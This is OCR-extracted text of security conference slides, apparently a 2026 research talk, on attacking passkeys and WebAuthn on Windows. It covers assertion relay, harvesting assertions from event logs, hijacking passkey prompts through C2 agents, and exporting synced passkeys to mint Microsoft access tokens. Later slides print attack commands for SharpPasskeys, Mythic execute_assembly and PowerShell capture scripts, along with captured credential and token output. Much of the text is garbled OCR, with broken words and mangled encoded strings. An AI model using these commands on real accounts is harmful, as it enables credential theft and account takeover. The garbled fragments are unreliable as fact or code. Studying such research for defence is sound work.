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Passkeys Are Becoming Mainstream

« > C @ &= www.microsoft.com/en-us/security/blog/2026/07/13/microsoft-entra-id-security-updates-passkeys-are-the-default-authentication-method-in-entra-id/ & & a2
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(@) Blog home > Microsoft Entra ID security updates: Passkeys are the default authentication method in Entra ID Search the blog n

News » July 13 « 5 min read

Microsoft Entra ID security
updates: Passkeys are the
default authentication
method in Entra ID

By Nadim Abdo, Corporate Vice President, Identity and Network Access Engineering, Microsoft

Listen to this post
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Passkey Attack Surface

. WebAuthn API Extensions
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Hackers can clone Google Titan 2FA keys
using a side channel in NXP chips

Yubico and Feitian keys that use the same chip are likely susceptible, too.
apv @ 122




Platform Authenticator Vulnerabilities

Products & Services ~ Topics = Industry ~ Content Type ~ Q

Bypassing Windows Hello Without Masks
or Plastic Surgery

Omer Tsarfati | 7/17/23 Share This! | f | ¥ || in
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©® Your (Synced) Passkey is Weak

} Copying private keys is a bad idea

7,

?

-

Brought to you by & Allthenticate

Synced "passkeys" were created by Apple as means of vendor lock-in,
not as a security feature.

& Sign in with Passkey

Passkeys are only as secure as the mechanism that protects them.
Passwoxd managexr credentials are phishable.
Disable passkeys in your password manager.

Use device-bound keys for real security.

Not all passkeys are created equal.

synced passkeys are stored in cloud-based password managers, which

device-bound passkeys never leave the hardware and are effectively unphishable.
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MITB: Malicious Browser Extension

6zscalef Solutions v Partners v Research v Resources v About Us v

Passkeys Pwned:
Turning WebAuthn Against Itself

/; F - - o
The Passkeys Pwned attack highlights a passkey implementation flaw, \ DEFC.N‘ a’
specifically that of WebAuthn in the registration and authentication )
process, allowing unauthorized access to enterprise SaaS apps and

resources.




MITM 6 Missing Request Tampering Validation

PIN Bypass in Passwordless WebAuthn
on microsoft.com and Nextcloud

f acker sneaks up on the victim and successfully logs in without entering a PIN using Near Field Communication (NFC).
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WebAuthn Relay Attack Primitive
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signature

RP JavaScript A

We b Aut hnAR
navi gcrt eod e rgtefth |

relying,

authenticatorDat a
cli ent Da

signature

user wver,ipcati on
create assertion




Relying Party + User Verification Binding

Generated by authenticator Received from cl ie€
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W3C WebAuthn Specification 0 Security First
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Passkey Injector Ul: Custom WebAuthn Prompts

¢ Windows Security

Sign in with a passkey

Cy satya@microsoft.com
C.? Passkey for login.microsoft.com

17~

Scan your finger on the fingerprint reader.

N (@) il
Choose a different passkey

Cancel

a Passkey Authentication (WebAuthn Assertion) — O

Request (Parsed) ~

Relying Party ID:  login.microsoft.com

Challenge: Ty5leUowZVhBaUS3pSktWMVFpTENKaGJHY2IPaUpTVXpJMUSpSXNJbmcxZENJNklsaDBMVzgzYUVS
Mediation: User Verification:  Required Hints: Timeout: 600,000
Extensions:

Allow Credentials:

Id Transports Type
a6bpp8NT17NCV65)bgUbKws8C20jSjOtiwpuuRXZjEwYy-Mh_hlILWDqwlbkccF public-key
i iQFx-74sQ8bayHtH887-VMZIfrYmosg)XDhUgJrjip8 OAQfmZv8bNtmSvMLabl public-key
KOrHDdZK-YiowWn77EZQdWVIrX7nnpQFulcNTU4brwc public-key
Request (JSON) v
Timers ~

Request Expiration: ©9:23  Challenge JWT Expiration: ©4:20

Response (JSON) ~

[0 Paste response &£ Software signer & Show C2 commands

"id": "9KjxcpgEtULDuCImhslUN20Td34dEkwpNgPOnAqll-s™,
"rawId": "9KjxcpgEtULDuCImhs1lUN20Td34dEkwpNgPONAqll-s",
"response”: {
"authenticatorData”: "NWyelKCTIblpXx6vkYID8bVfal2mH7yWGEWVFdpoDIEFAAAAAA",
"signature”: "MEUCIQDmF-YpPaFyxluitHxaES5yGeX2a_DeMT-F2tdd5zWd7qgIgUqE1SirlQ1l13-w80odPeJld|
“clientDatalSON": "eyJ@eXBlIjoid2ViYXV@aG4uZ2V@IiwiY2hhbGx1bmd1lIjoiVHk1bGVVb3daVmhCYVUSc|
1,
"type": "public-key"




Passkey Ul: WIN32 WebAuthn API

Load Default Options Help

Windows API Information Registration Authentication Platform Credentials Authenticators Event Log

Assertion Options

Relying party: login.microsoft.com U2F ApplD:

Authenticator: Any v Credential hint:  None v Remote web origin:

User verification: Required v Llarge blob operation:  None v 1:\ Get credential blob ‘:‘ Browser in private mode Timeout: 120s L] Generate challenge
Challenge:

Ty5leUowZVhBaU9pSktWMVFpTENKaGJHY2IPaUpTVXpJMUS5pSXNJbmcxZENJNkIqVIBaamxRTIVZNVowTkRKME50UmpKQ1QwaEIlIRVIFVVMxRWF5SjkuZXIKaGRXUWIPaUoxY200NmJXbGpjbTI6YjJaMEStWnBaRzg2W
TJoaGJHeGxibWRsSWI3aWFYTnpJam9pYUhSMGNITTZMeTIzYjJkcGIpNXRhVO55YjNOdIpuUXVZM;jl0SWI3aWFXRjBJam94TmpBNU1qYzNOVFEOTENKdAVItWWIPakUy TURreU56YzZFORGAdzSWTWNGNDSTZNVFI3T1R)
M056ZzBPSDAubDNyeF9JTnNLTOhsZTR5azdvSmk3MGOyMUNsV2IWWkUMGxRdVhJbWZON1RMX0ppcTRpcOUza05vRjR6X0cyYIFhdDdaOG55dVRZamNkTmsxSm50T0k1ZXBMMUIWNKR4N210U05sZ3ZIWWhKRO5f
aVB4RC1IOVIkVXIVN;jIPLWx1cHRPUjVQX3B6dUpWUOdGTFEWLXBZUHESNZIEVmMI2ZF9pMHYxbjBKakd3bkxIMVESb3ZRSEJZR1E1YzZFvMUhNSDNBAEIZjI0Zk9McHBOT25s3WXMS5OXIIdFM5VKFwc TNmbG5vT3VxWVpX
QzBDMnJjNXpsdzAwR3p50GVE6NWZra010SDNKRGpmbWZ 1aWxfb1RCc20yQUIWX1Y5N;ZxRuMGxsWXcteXIBTDIISU1LeIM1TUOTaDhpb1IFakxrZIRGblpJandUVERpOHV3SG 1LMkVueFpn

Large blob:
® Windows Security X
Sign in with a passkey
HMAC secretsalt 1:  8A8F1518100B3EB2F6DDOBF5D72E5BA7DFEB71591ED13CD60DI03FIA6BIOE  Generate  HMAC secret salt 2: C‘? s=tya@miciosafteon] o Generate
= = Passkey for login.microsoft.com
& Authenticate Sign with File
Response 7=
{
"id": "5B4QTDkm-0COnJk7KAsUa7d3r914aq5H-eVChLSSejM", S fi the fi : d
“rawld"; "5B4QTDkm-0COnJK7KAsUa7d3r914aq5H-eVChLSSejM”, can your finger on the fingerprint reader.
“response"”: {
"authenticatorData": "NWye1KCTIblpXx6vkYID8bVfaJ2mH7yWGEwVfdpoDIEFAAAAYA", Sign-in options
“signature”: "MEQCIBKQW?7RsePaF6EymNFpZkXzEFwvjYFX7c-1k8_p06s58AiBrCyYWBgINsMVUX|TqTA_04fdC3_ELYQVVK1YT7tiQGw",
"userHandle": "0XqaPaVaRbsMVE6S5t7|0aVDB8oVhpNBZ2_w-FNSiemw",
“clientDataJSON": "eyJOeXBlljoid2ViYXV0aG4uZ2VO0liwiY2hhbGxIbmdlljoiVHk 1bGVVb3daVmhCYVUS5cFNrdFANVKZwWVEVOS2FHSKkhZMmxQYVVy dUalJrTUUTMF\
b

Choose a different passkey
“type": “public-key",

“clientExtensionResults": {

"hmacGetSecret": {

“output1": "vC2iFLb0Gc8XIGnoCtwIb8XHVSBpbyYZVIVQwyWY4C0=" [ Cancel ]

}
}
}
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CVE-2026-34348

{d] Event Viewer

File Action View Help

&= 27 H=E
| |

| WDAG-PolicyEvaluator-GP Operational  Number of events: 6,818

| WebAuth
| WebAuthN Level Date and Time Source Event ID Task Category

= Operational Success 1/21/2026 12:19:01 AM  WebAuthN 1004 WebAuthN Ctap GetAssertion

= Plugin-Passkey-Providers/O [#1) Information 1/21/2026 121901 AM  WebAuthN 2106 Ctap Function

] Synced-Passkey-Provider/O (i) Information 1/21/2026 121901 AM  WebAuthN 1104 Cbor Decode GetAssertion Response
| WebDeploy (i) Information 1/21/2026 12:19:01 AM  WebAuthN 2104 Ctap Device Info
| WeblO Success 1/21/2026 121901 AM  WebAuthN 2102 Ctap Command

. WEPHOSTSVC c 404 0006 404004 AMA AALale A bla Bl 4004 AAlala Ao ala AL AL Lot b

! WER-Diagnostics Event 2106, WebAuthN

| WER-PayloadHealth
WerKernel General Details

| Wrp

| WiFiNetworkManager Ctap Name: authenticationResponseJSON

| Win32k Value: {"authenticatorAttachment":"platform”,"clientExtensionResults":{},"id":"5B4QT Dkm-0COnJk7KAsUa7d3r914aq5H-

eVChLSSejM","rawld":"5B4QT Dkm-0COnJk7KAsUa7d3r914aq5H-

; i . eVChLSSejM","response”:{"authenticatorData":"NWye1KCTIblpXx6vkY|D8bVfal2mH7yWGEwVfdpoDIEFAAAAAG", "clientData)SON":" eyJOeXBlljoid2ViYXV0aG4uZ2VO0liwiY 2hhbG

| Windows Firewall With Advance xIbmdlljoiVHk1bGVWb3daVmhCYVU5cFNrdFdNVKZwVEVOS2FH SkhZMmxQY VWwVFZY cEpNVTVwU1hOSmJtY 3haRUSKT mtsc 1FtcFhSR3MwVWpGbk 1FMXFRbFZOVm 1jeVI6QktS
Windows Remote Management VOV6YO0c5VIZ6RjRXak5rVGxaVFNga3VaWGxLY UdSWFVXbFBhVW94WTIwMEStSIhiR3BgYIRsNIIGSmFNRTIOV25CYVI6ZZIXVEpvY UdKSGVHeGIiV1JzU 1dsM2FXRIIUbnBKYWOS5cFIVaF

| WindowsBackup NNRO5JVFRaTWVUbHpZakprY0dKcESYUmhWMDU 1TWWpOT2RscHVWWFZaTWpsMFNXbDNhVOZYUmpCSmFtOTRUbnBaTkUSVVZYaESWRTE1VEVOS2RWbHRXV2xQYWtVelRtc
WindowsColorSystem G50VTVWUIhoTmVrbHpTVzFXTkdORFNUWKSWR015VDBSck1VMVVWWHBOY m pBAVNEQnhOblwZFZwdFMwcEhkMIZuWIdobGRrd3pjR3hpU TUXWVUWMWEFT SFpaYkhocmRtd

EtVSEZQU3pWR2FXZEXxjR1ZHTkVzMFh6V|RjVnBvWIZsWVozZDZNa05z2WkdGTWF6UTBaRUozZWDNKUUSFMXNWRWR 1T WxsUk9YRIViR1EyZFVKVGVHbGFkMO0JzU3pGSE9EaGINal)

. . RVW5WUGJGODFNWFpKVOdGVU5XRkJUbVZDUmM 5GUGQzUIBXbDIYYOVSa 1kwVXdiM{jIXWkhKMGJYZGZZbU5zY VWwWR1ItRjZiVzIZTUdFdFNE6WIhNVZVSWH pSVWkweGZZa3qgxZFZoe
WindowsUlimmersive VNHVnRRall4Vic5aU1VMHpXakpwY21zNWQyZzFWemhhYTNVMFVHYzRibkp5ZERobm NtaHIaRXhpY0ZCTVRVNHdjakUxUlcxaFZVUTNRVmR6Y0dnM 1gydG9kMHcyTm 1oMGFt

! WindowsUpdateClient bGhPR295Um04dFNY SkZUeT FtWmO1T INWZGFaSFVOT m 1acGNYaHdia1paVDI5R 1JsQjJXamRKUXpOaFoyaGIVSGhtWXpCWk1GWklabXhyWkU5bFoweG1jVEoOUVZkbIVHdZVIRUS

| WinHttp (Microsoft-Windows-\ uVEhkbilslm9yaWdpbil6lmh0dHBzOi8vbGInaW4ubWIjcm9zb2Z0LmNvbSIsimNyb3NzT 3JpZ2luljpm YWxzZX0", "signature":"MEUCIA8EKq 1vxqcXzZmXR55iX_Joodr_

| WinHttp (Microsoft-Windows-\ 4r8PBvBkOVO3iKhaAiEA_2A1_OWHAJZFPMwJHOP 1YjqPSz71Vxe9iX4llco29tc”,"userHandle":"0XqaPaVaRbsMVE6ESt7I0aVDB8oVhpNBZ2_w-FNSiemw"}, "type":"public-key"}

| WinINet (Microsoft-Windows-V
| Winlogon

WinNat

Winsock Catalog Change

| Winsock NameResolution Even
| Winsock Network Event Level: Information Keywords: Ctap

. Windows Defender

WindowsSystemAssessmentToc

Log Name: Microsoft-Windows-WebAuthN/Operational
Source: WebAuthN Logged: 1/21/2026 12:19:01 AM
Event ID: 2106 Task Category: Ctap Function




D Mz 24 i

+00UYaYyoeMeoUj 8rDBAaj aaksUB&aSIGNj UB 00j O

blgt’zk hat
USA 2026



Privileged Identity Separation + Single Authenticator

" Windows Security X

Choose a passkey

Jnl'n admin@contoso.com

» ' njohn@contcso com

DIE goS@course.dsinternals.com

o o)




Remote Assertion Retrieval 6 Event Log Readers

|

2] PowerShell

PS > .\Get-PasskeyAssertionEvent.psl -ComputerName GRAY

Time

| UserSid
| UserName

ProcessId
ProcessName
ThreadId
Origin

PS > |

: 5/11/2026 11:31:16 AM

: S-1-5-21-16084105731-826279734-3585910670-1001
: GRAY\Michael

: 62212

: PasskeyUI

: 7964

: https://login.microsoft.com
PublicKeyCredential :

{"id": "5B4QTDkm-0CONJIkTKAsUa7d3r91daq5H-eVChLSSejM" , "rawId" : "5BUQTDkm-0CONnJIk7KAsUa7d3r914aq5H-eVChLSSejM" , "type"
:"public-key", "authenticatorAttachment":"platform", "response":{"clientDataJSON":"eyJ0eXBlIjoid2ViYXVOaGUuZ2VOIiw
iY2hhbGx1bmdlIjoiVHk1bGVVb3daVmhCYVU5cFNrdFdNVKZwVEVOS2FHSKhZMmxQYVVWVFZYcEpNVTVwU1h0SmJtY3haRUSKTmtscVZsQmFhbXh
SVGxWwk5Wb3dUalJr TUUIMFVtcEtRMVF3YUVsbFJIWSKZWVK14ULdGNVNga3VaWGxLYUdSWFVXbFBhVWOUWTIWMEStS1hiR3BqY1RsN1lgSmFNRTL
OV25CYVJI6ZzIXVEpvYUdKSGVHeGliV1JzU1dsM2FXR11UbnBKYWOS5cF1LVaFNNRO5IVFRaTWVUbHpZakprY@dKcESYUmhWMDU1WWpOT2RscHVVWFZ
aTWpsMFNXbDNhVOZYUmpCSmFtOTRUbXBCT LUxcV16TKOWRKUWVEVOS2RWbHRXV2xQYWtVeVRVUNJIWVTU2WXpGT1IHZHpTVZFXTKdORFNUWKSWRmw
zVDFSSKOWNTZaekJQUORBAWIETnL1RjLKVG50TFQwaHNaVFI1YXpkdNtazNNRzB5TVVOc1YybFdXa2xKTUd4UmRWaEpiVlowT jFSTVgwcHBjVFJ
wYzBVemEwNXZSalI2WDBjeV1sRmhkRGRhTOcINWRWUlphbU5rVG1zeFNtNU9UMGsxWLhCTU1VSXd0alIOTjIxT1UwWNXNaMlpsV1doS1IwNWZhVKI
OUKMxbE9WSmtWWEp2TmpsUExXeDF jSFJIQVWpWUVgzQjZkVXBXVTBKR1RGRXdMWEJaVUhFNUS6bEVWbUkyWkY5cE1IWXhiakJLYWtkM2JreELNVKU
1YjNaULNFSnpSMUUxWXpGdk1VaESTRESCZEVsdFpqSTBaaz INYOhCT1QyczNXWE@1T1hsSWRGTTVWa@Z3Y1RObWIHNXZUM1ZUV1ZwWFF6QKRNbkp
gqTlhwc2R6QXdSM3A1TOdWNKSXWnJhMDEwWUOROS1JHcG1iV1oxYVdUZmIxUNjMjB5UVVId1gxWTVOalpdUmxKdU1HeHNXWGNO®ZVhsQLREBELTVTF
MZWxNMVRVMDFhRGhwY jFsRmFreHJabFJIHYmxwSmFuZFVWRVIwTOhWMINHMUxNalZ1ZUZwbiIsIm9yaWdpbiI6Imh@dHBz0i8vbGInaWdubWljcm9
zb2ZOLmNvbSIsImNyb3NzT3JpZ21lul jpmYWxzZX0", "authenticatorData" : "NWyelKCTIbLlpXx6vkYID8bVfaJ2mH7yWGEwWVfdpoDIEFAAAAa
A", "signature":"MEUCIGfpfD82B8iH_AKWUvC9pGPKRQNN8VBCFtglGVnaThDwAiEAZz7oWW2ZPos1WZkTdFr-WNYhlpd9fAYWb8oU8-AtU2dK"
,"userHandle": "0XgaPaVaRbsMVE6S5t710aVDB8oVhpNBZ2_w-FNSiemw"}, "clientExtensionResults":{}}




Entra ID Challenge Validity = 10 minutes

https://portal.azure.com
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{
Iltypli : "JNT"J
"alg”: "RS256",
"X5t": "PcX98GX420T1X6sBDkzhQmggwMU™
}
{
"aud": "urn:microsoft:fido:challenge”,
"iss": "https://login.microsoft.com”,

iat": 1768947547,
"nbf": 1768947547,
"exp": 1768947847
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¥ Passkey Ul
Load Default Options Help

Windows API Information Registration Authentication Platform Credentials Authenticators Event Log

( Load Events

Passkey Operations

Time Started v Type Relying Party Provider Product Counter User Name
2026-05-09 23:49:38 Authentication login.microsoftcom  MicrosoftPlatformProvider 103
2026-05-09 19:13:33 Authentication  github.com MicrosoftPlatformProvider 117
2026-05-08 02:28:00 Authentication login.microsoftcom  MicrosoftPlatformProvider 102
2026-05-06 10:01:17 Authentication login.microsoft.com  MicrosoftPlatformProvider 101

2026-05-05 22:03:18 Authentication login.microsoftcom  MicrosoftCtapHidProvider YubiKey FIDO 238

2026-05-05 22:02:56 Authentication login.microsoft.com  MicrosoftCtapHidProvider YubiKey FIDO 222



Partial Fix in May 2026
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Y= Bookmarks >

S Request Tokens >

1 Developer Tools

W Clear Browsing Data

< Microsoft Teams

& Microsoft Edge

2]
2

Microsoft Graph Command Line Tools

]
2

Microsoft Azure PowerShell

Microsoft Azure CLI

Microsoft Intune Company Portal

B o

Office 365 Management

Microsoft Office

0 O

OneDrive



From Passkeys to OIDC Access Tokens

@ Token Response for Microsoft Office — O X

Tokens (JSON):
{

"token_type": "Bearer",

"scope"”: "email openid profile AuditLog.Create Calendar.ReadWrite Calendars.Read.Shared Calendars.ReadWrite
"expires_in": 4595,

"ext_expires_in": 4595,

"access_token": "eyJOeXAi0iJKV1QiLCJub25jZSI6I19vWEoy0X1saC1jQmOMSCIWOUCc2WkhMeXRpLWtFOE1]ZVVS5bmRQNEpsTDgiL(
"refresh_token": "1.ARwA6WgJJ9X2qkOUDNMw4dUNgOYOWdOzUglBrv-q8ikqsBz0OAMkcAA. BQABAWEAAAADAOZ_BQDO_-SggWeqGeIl
"foci": "1",

"id_token": "eyJ@eXAi0iJKV1QiLCJhbGciO0iJSUzI1INiIsImtpZCI6I1BjWDk4R1gOMjBUMVE2c@IEa3poUW1xZ3dNVSI9.eyJhdWQi(

(© Copy Access Token (© Copy Refresh Token © Copy ID Token
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Passkey Circuit Breaker Attack 0 End User

= * Sign in to GitHub - GitHub X 4+

O <« - X

Wiaiting for github.com...

@ github.com/login

O

Sign in to GitHub

Username or email address

Password Forgot password?

Sign in

or

> Continue with Google

@& Continue with Apple

& 82
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2] PowerShell X = | v - [m] X

PS > .\Invoke-PasskeyCircuitBreaker.psl —Suspend -BlockTraffic

Listening for WebAuthN assertion response events... Press Ctrl+C to stop.
Write-Error: C:\Users\Michael\source\repos\SpecterOps\pass-the-passkey\Src\Scripts\Invoke-PasskeyCircuitBreaker.psl:7u
Line |

Block-ProcessOutboundTraffic -ProcessPath $process.Path

7|
I

N N N 20 3 1050 P00 10 P03 0150 158 100 10 P90 3 010 158 1050 10 P03 0053 158 150 10 P50 3 053 158 1050 100 5 0080 189 058

| Error blocking outbound traffic for C:\Program Files\Mozilla Firefox\firefox.exe.
Captured WebAuthn assertion request:

EventId
Time
UserSid
UserName
ProcessId
ProcessName
ThreadId
RpId

Captured CTAP

EventId

Time

UserSid
UserName
ProcessId
ProcessName
ThreadId
ProviderName

Product
AAGuid

1103

: 5/11/2026 11:36:19 AM
: §-1-5-21-1084105731-82627973U4-3585910670-1001
: GRAY\Michael

1396

: firefox
: 20008
: github.com

device info event:

;2104

: 5/11/2026 11:36:26 AM

: §-1-5-21-1084105731-82627973U-3585910670-1001
: GRAY\Michael

1396

: firefox

: 20008

: MicrosoftPlatformProvider
Manufacturer :

gaclelelelololeloRgololeloRdoleleloRgololeleRgoloTeelolelofelelolele)

Captured WebAuthn assertion response:

EventId
Time
UserSid
UserName
ProcessId
ProcessName
ThreadId
Origin

: 2106
: 5/11/2026 11:36:26 AM
: S-1-5-21-1084105731-82627973U4-3585910670-1001
: GRAY\Michael
: 1396
: firefox
: 20008
https://github.com

PublicKeyCredential : {"id":"KGExWOTJk3CV-igJrwoDrupadlREaz5hgV7LlucUDho", "rawId" : "KGExWOTJK3CV-igJrwoDrupadlREaz5hgV7LlucUDho" , "type":

"public-key","authenticatorAttachment":"platform", "response":{"clientDataJSON":"eyJ0eXBlIjoid2ViYXV0aGUuZ2VOIiwiY
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Synced Passkey Device-bound Passkey

Lives on a smartphone, tablet, laptop or Lives on a USB key or other piece
other device where it can be copied and of hardware separate from
synced across many devices. everyday devices.

Source: Yubico




Server-Side Synced Passkey Protection

Edge Passkey Service
Managed HSM

(Hardware protected keys)

. Confidential Ledger
g (Tamper-Evident Storage)

Confidential Compute

(Secure Processing & Recovery)

€ Edge Sync Service

(Sync Encrypted Passkeys)

] D Client Devices

— (Biometrics/PIN & Device bound Keys)

Source: Microsoft



Database Entries Groups Tools View Help
= & - [T %

Title A Path Username Relying Party URLs

https://webauthn.io

L & webauthn.io (Passkey) @ Root/KeePassXC-Browser Passkeys john@webauthn.io webauthn.io webauthn.io

Statistics
@ Export Confirmation X
-v-l

Health Check

®

Passkeys

o The passkey file will be vulnerable to theft and unauthorized use, if left

unsecured. Are you sure you want to continue?
L

Yes No

I
[ | |
il
Browser Statistics Show expired entries

Import Export



®i §

U bitwarden

Password Manager

A My vault
- 28 Allitems

¢ Favorites

® Login

B Card

E3 Identity

[@ Secure note

£ SSH key
T Archive @ Upgrad
U Trash
» [0 Folders
<l Send

&5 Generator
&) Import

& Export

® Exporting individual vault

Only the individual vault items associated with michael.grafnetter@outlook.com will be
exported. Organization vault items will not be included. Only vault item information will be
exported and will not include associated attachments.

Json (Encrypted)

Export type

() Account restricted

and import it to unt using the

~ Confirm fil



Credential Exchange Format (CXF)

"id": "akKA3Y@jQRuK7sKplBOY9w",
"creationAt": 1705142400,
"modifiedAt": 1705228800,
"title": "WebAuthn.io",
"subtitle”: "johndoe",
"credentials”: |
{
"type"”: "passkey",
"credentialId”: "Y3J1ZGVudGlhbE1kRXhhbXBszZQ",
"rpId": "webauthn.io",
"username”: "johndoe",

"userDisplayName"”: "John Doe",
"userHandle": "cnEzaNHWcYK3coWZjvoaV1lHj9gnI12mKe2dL2HZVF1Y",
"key": "MIGHAgEAMBMGBYqGSM49AgEGCCqGSMASAWEHBGOWawIBAQQgARuU_O:
"fido2Extensions": {
"hmacSecret”: {
"algorithm™: "HS256",

"secret”: "c2VjcmVeX2tleV9kYXRh"
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Signature Parameters

Passkey File: s-the-passkey\Samples\bitwarden_encrypted_export_20260511125855.json Browse...

Passkey: Jjohndoe — dsO1yNiARuafV87QYGB1Vw v

Signature Counter: 5 : User Verification (UV) User Presence (UP)
Credential Details

Algorithm: ECDSA Key Type: P-256 Key Length: 256 Hash: SHA256
Credential 1D: dsO1yNiARuafV87QYGB1Vw

User Name: johndoe

User Handle: cnEzaNHWcYK3coWZjvoaV1Hj9gnl12mKe2dL2HZVFIY
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Phishing Protection - Related Origin Requests (ROR)

{:’ Ubuntu X —|— v — D X |

: S curl https://login.microsoft.com/.well-known/webauthn
{
"origins": [
"https://login. live.com",
"https://login.microsoftonline.com"

]
} : S 1
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2] PowerShell

X + v

000 Ok 8

PS > .\SharpPasskeys.exe prompt -r github.com -c 1I0BmIehGH8dZKXjxdSw_VHs5wxrI8HnoaxDAZS5 -a ClientDevice

19:13:33

g Windows Security

Sign in with a passkey

MichaelGrafnetter o
C.? Passkey for github.com

Hello, Michael!
Select OK to continue.

Sign-in options

Choose a different passkey

s -

X

: Passkeys[0] Prompting for credentials with relying party 'github.com' and authenticator hint 'ClientDevice'..
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22/ PowerShell X + v — O X

PS > .\SharpPasskeys.exe prompt -r github.com -c 1I0BmIehGH8dZKXjxdSw_VHs5wxrI8HnoaxDAZS5 -a ClientDevice

19:13:33 : Passkeys[0] Prompting for credentials with relying party 'github.com' and authenticator hint 'ClientDevice’...
{"id" : "KGExWOTJk3CV-igJrwoDrupadlREaz5hgV7LlucUDho" , "rawId" : "KGExWOTJk3CV-igJrwoDrupadlREaz5hgV7LLucUDho" , "type" : "public-key"
, "authenticatorAttachment":"platform", "response": {"authenticatorData" :"OusAJGAUHG81joOVOwIvVx8NmnZIjc2Dd jmxOu®@xZWAFAAAAQ" ,"s
ignature”: "MEYCIQDOLcpbQALMB7KCK2Q_LCmUd9a5kcs1DViuGIndNU3Z1eQIhAN1xSpG3VSuaZ8MJIJIDKXY8w6UbwaiQEVYKBA7pEIKrUf", "userHandle": "ji
2vzjgdctdJq8DRNjFc9_LhjyfF6mAN2YwYt8cAUKCV-Jr90NQ-7qJAg7LZ-zB6Gb7nGNT6aUMjZ1XcuY9-Jsg", "clientDataJSON" : "eyJOeXBLlIjoid2ViYXV0a

GUuZ2VOIiwiY2hhbGx1bmdlIjoiMULPQm1JIZWhHSDhkWktYanhkU3dfVkhzNXddckkUSG5vYXhEQVpTNSIsIm9yaWdpbiIl6Imh@dHBz0i8vZ210aHViLmNvbSIsIm
Nyb3NzT3JIpZ21luljpmYWxzZX0"}}

PS > |



C2 Command Generation

@' C2 Commands — O X

Authenticator Type Hint: Windows Hello (Platform) v D Prompt Flood D Kill Credential Ul Broker D Spoof Window Handle

SharpPasskeys (Standalone CLI) ~

SharpPasskeys.exe prompt --relying-party login.microsoft.com --authenticator ClientDevice --challenge Ty5leUowZVhBaU9pSktWMVFp

SharpPasskeys (Mythic Apollo Agent) ~

register_assembly -existingFile SharpPasskeys.exe

execute_assembly -Assembly SharpPasskeys.exe -Arguments “prompt --relying-party login.microsoft.com --authenticator ClientDevice -

PowerShell ~

Import-Module -Name DSInternals.Passkeys

Test-Passkey -RelyingPartyld login.microsoft.com -Hint ClientDevice -Challenge Ty5leUowZVhBaU9pSktWMVFpTENKaGJHY2IPaUpTVXpl

X Close
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